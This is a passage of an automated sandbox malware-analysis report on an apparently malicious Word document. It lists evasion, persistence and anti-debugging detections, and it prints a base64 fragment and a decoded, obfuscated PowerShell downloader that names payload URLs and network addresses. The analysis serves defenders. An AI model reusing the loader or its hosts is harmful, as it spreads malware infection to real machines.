AnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAAC Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002608D0 push edx; ret 7_2_002609D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002439A0 push cs; ret 7_2_002439A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00242A01 push esi; ret 7_2_00242A04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00245BD8 push ss; iretd 7_2_00245C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00245C29 push ss; iretd 7_2_00245C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024548F push ebp; retf 7_2_00245496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00242CFB push ecx; retn 001Eh 7_2_00242D01
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00241740 push DA0FDC41h; iretd 7_2_00241745
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E08D0 push edx; ret 8_2_001E09D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001C39A0 push cs; ret 8_2_001C39A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001C2A01 push esi; ret 8_2_001C2A04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001C5BD8 push ss; iretd 8_2_001C5C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001C5C29 push ss; iretd 8_2_001C5C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001C548F push ebp; retf 8_2_001C5496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001C2CFB push ecx; retn 001Eh 8_2_001C2D01
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001C1740 push DA0FDC41h; iretd 8_2_001C1745
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002408D0 push edx; ret 9_2_002409D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002239A0 push cs; ret 9_2_002239A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00222A01 push esi; ret 9_2_00222A04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00225BD8 push ss; iretd 9_2_00225C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00225C29 push ss; iretd 9_2_00225C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0022548F push ebp; retf 9_2_00225496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00222CFB push ecx; retn 001Eh 9_2_00222D01
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00221740 push DA0FDC41h; iretd 9_2_00221745
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002108D0 push edx; ret 10_2_002109D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F39A0 push cs; ret 10_2_001F39A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F2A01 push esi; ret 10_2_001F2A04
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F5BD8 push ss; iretd 10_2_001F5C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F5C29 push ss; iretd 10_2_001F5C3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F548F push ebp; retf 10_2_001F5496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_001F2CFB push ecx; retn 001Eh 10_2_001F2D01

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Drops PE files
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\rundll32.exe PE file moved: C:\Windows\SysWOW64\Lahhvjcxlgt\uxvrfyponi.bww Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Lahhvjcxlgt\uxvrfyponi.bww:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Bqdfivaeg\zraldnvj.leg:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Dhsrvrltshdb\kylwrasxsty.qky:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Fxyyidom\ykxlvrr.ddq:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Unveznmghbqlboho\gmfloxrovawmauo.idg:Zone.Identifier read attributes | delete Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2828 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: rundll32.exe, 00000008.00000002.2124359207.00000000006A0000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10001D4D mov eax, dword ptr fs:[00000030h] 7_2_10001D4D
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory protected: page execute read | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 51.255.203.164 144
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 84.232.229.24 80
Encrypted powershell cmdline option found
Source: unknown Process created: Base64 decoded SET-iTeM varIaBLE:PGB ( [TYPe]("{2}{4}{5}{1}{0}{3}" -f'.Dir','m.IO','Sy','ECToRy','St','E')); sET ('29x'+'d'+'4M') ( [TYpE]("{7}{1}{2}{3}{6}{4}{0}{5}" -f'Na','ys','TeM.NEt','.SErVi','ePOinTmA','GeR','C','s') );$Xjb6uu9=$S_7W + [char](64) + $C96Z;$A29Y=(('T'+'65')+'Q'); $pgB::"cr`EaT`eDIr`Ect`oRy"($HOME + (('db'+('zVl'+'j0ta0d')+'bz'+('M'+'tkd4'+'y0')+('db'+'z'))."r`E`PLAce"(([cHaR]100+[cHaR]98+[cHaR]122),'\')));$X13H=(('T'+'66')+'L'); (VaRiABLe ('29x'+'d'+'4M') ).VALue::"SeCUR`ITY`P`R`OTOCOL" = ('Tl'+('s'+'12'));$E34Q=(('Q_'+'1')+'L');$I3laa23 = (('O8'+'_')+'N');$W96Y=(('P'+'51')+'D');$Iq6rfg0=$HOME+((('o'+'6nV')+('lj0t'+'a0o')+'6n'+'Mt'+('kd'+'4')+('y'+'0o6')+'n')-crEPlACE ([chAr]111+[chAr]54+[chAr]110),[chAr]92)+$I3laa23+('.'+('dl'+'l'));$S84B=('O'+('32'+'I'));$Ozx9xkd=('s'+'g'+(' yw'+' a'+'h'+':'+'//riandut')+('r'+'a.com/e')+'m'+'a'+('il/'+'A'+'fhE8z0/')+('@s'+'g yw')+(' a'+'h:')+'//'+'c'+('al'+'le'+'dtoch'+'a')+('nge'+'.org'+'/C')+'a'+('l'+'ledt')+'o'+'C'+'h'+('an'+'g')+('e/8huS'+'O'+'d/')+('@s'+'g yw')+(' ah'+'s:/'+'/m'+'rveggy.c'+'om/wp-admi'+'n')+('/'+'n/@')+'s'+('g yw'+' a')+'h'+'s'+(':'+'//n')+('orail'+'y')+'a'+('.'+'co'+'m/dr')+'up'+('al'+'/')+('r'+'etA')+'l'+('/'+'@sg')+' y'+('w ahs:'+'/')+'/'+('hbprivi'+'l'+'e'+'g')+'e'+'d.'+'co'+('m/cg'+'i-bin'+'/Qg')+('/@s'+'g y'+'w')+(' '+'ahs')+':'+'//'+'u'+'mm'+('ahstar'+'s.'+'com')+'/'+('ap'+'p_')+'o'+('ld_'+'m')+('ay_'+'2')+'0'+('18'+'/')+('as'+'sets')+('/'+'wDL8'+'x')+'/'+('@s'+'g ')+('y'+'w ')+('ah'+'s')+'
